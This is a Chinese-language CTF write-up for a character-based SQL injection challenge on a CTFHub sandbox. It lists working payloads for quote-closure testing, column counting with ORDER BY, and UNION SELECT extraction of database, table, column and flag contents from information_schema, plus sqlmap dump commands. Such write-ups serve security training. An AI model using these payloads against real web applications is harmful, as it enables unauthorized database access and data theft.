字符型注入

点击此处获得更好的阅读体验


文章来源

题目考点

  • SQL字符型注入

解题思路

字符型注入要考虑到 引号闭合 和 注释

判断注入

1
2
?id=1' and 1=1 --+ 返回正确
?id=1' and 1=2 --+ 返回错误

猜字段

1
2
?id=1' order by 2 --+ 返回正确
?id=1' order by 3 --+ 返回错误

得出字段数为 2

下面为测试空格字符代替情况 (可跳过)

1
2
?id=1' order by 2 -- - 返回正确
?id=1' order by 2 -- / 返回正确

爆数据库名

1
?id=1' and 1=2 union select 1,database()--+

得到数据库sqli

爆表名

1
?id=1' and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'--+

爆列名

1
?id=1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'--+

爆字段内容(flag)

1
?id=1' and 1=2 union select 1,group_concat(flag) from sqli.flag--+

解法1-使用sqlmap

1
python [sqlmap.py](http://sqlmap.py) -u [http://challenge-d390b9f3ff349c16.sandbox.ctfhub.com:10080/?id=1'](http://challenge-d390b9f3ff349c16.sandbox.ctfhub.com:10080/?id=1') --tables

1
python [sqlmap.py](http://sqlmap.py) -u [http://challenge-d390b9f3ff349c16.sandbox.ctfhub.com:10080/?id=1'](http://challenge-d390b9f3ff349c16.sandbox.ctfhub.com:10080/?id=1') -T flag --columns --dump

解法2-手工

和整数型一样,先进行正常查询

然后查询数据库名称

查询sqli库的表名

查询sqli库中flag表的字段名称

查询flag